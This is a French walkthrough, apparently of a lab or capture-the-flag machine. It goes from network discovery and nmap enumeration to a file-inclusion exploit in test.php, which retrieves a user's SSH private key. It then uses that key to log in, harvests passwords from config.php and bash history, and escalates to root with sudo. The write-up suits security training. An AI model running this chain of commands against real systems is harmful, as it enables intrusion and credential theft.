Étape 1 : Découverte de l'Hôte Cible
Pour identifier les machines actives sur le réseau local, une analyse ARP peut être effectuée. L'objectif est de repérer l'adresse IP correspondant à la machine cible.
netdiscover -r 192.168.158.0/24
La sortie révèle plusieurs adresses IP, dont une potentiellement vulnérable, par exemple 192.168.158.147.
Étape 2 : Énumération des Services
Une analyse approfondie des ports ouverts est réalisée avec nmap en utilisant des techniques de détection de service.
nmap -sV -O -p 1-65535 192.168.158.147
Les résultats montrent plusieurs services exposés : SSH sur le port 22, Apache sur les ports 80 et 443, Samba sur les ports 139 et 445, MySQL sur le port 3306, et un service web Cockpit sur le port 9090.
Étape 3 : Analyse de l'Application Web
En examinant le serveur web sur le port 80, des outils de reconnaissance identifient la technologie utilisée. Une requête HTTP permet de détecter les frameworks et versions.
curl -I http://192.168.158.147/
Les en-têtes révèlent la présence d'Apache 2.4.39 et CMS Made Simple 2.2.15, indiquant une application CMS potentiellement vulnérable.
Étape 4 : Recherche de Points d'Entrée
Le répertoire racine de l'application web contient plusieurs fichiers. L'inspection de certains fichiers peut exposer des fonctionnalités cachées.
wget http://192.168.158.147/test.php -O -
Ce fichier retourne une alerte JavaScript signalant un paramètre GET manquant, suggérant une possible vulnérabilité d'inclusion de fichiers.
Étape 5 : Exploitation de l'Inclusion de Fichiers
En testant le paramètre "file" avec des valeurs arbitraires, il est possible de lire des fichiers système sensibles. L'objectif est d'accéder aux clés privées SSH.
wget "http://192.168.158.147/test.php?file=/home/qiu/.ssh/id_rsa" -O cle_ssh.key
La commande récupère avec succès la clé privée SSH de l'utilisateur "qiu", confirmant la vulnérabilité.
Étape 6 : Accès Initial via SSH
En utilisant la clé privée obtenue, une connexion SSH peut être établie pour accéder au système cible.
ssh -i cle_ssh.key qiu@192.168.158.147
Cette connexion fournit un shell utilisateur, permettant une exploration plus approfondie du système.
Étape 7 : Collecte d'Informations Post-Exploitation
Dans le répertoire web, des fichiers de configuration exposent des identifiants de base de données. De plus, l'historique des commandes de l'utilisateur peut contenir des mots de passe.
cat /var/www/html/config.php
Ce fichier révèle les identifiants de la base de données : un nom d'utilisateur "cms_user" et un mot de passe "P@ssw0rdINSANITY".
cat ~/.bash_history
L'historique montre une commande sudo avec le mot de passe "remarkablyawesomE", indiquant un privilège élevé.
Étape 8 : Escalade de Privilèges
Avec le mot de passe récupéré, l'utilisateur peut exécuter des commandes en tant que root. La vérification des permissions sudo confirme cet accès.
echo "remarkablyawesomE" | sudo -l
La sortie indique que l'utilisateur a le droit d'exécuter toutes les commandes en tant que root. Une session root peut alors être ouverte.
sudo su
Cette commande élève les privilèges à root, complétant ainsi l'exploitation du système.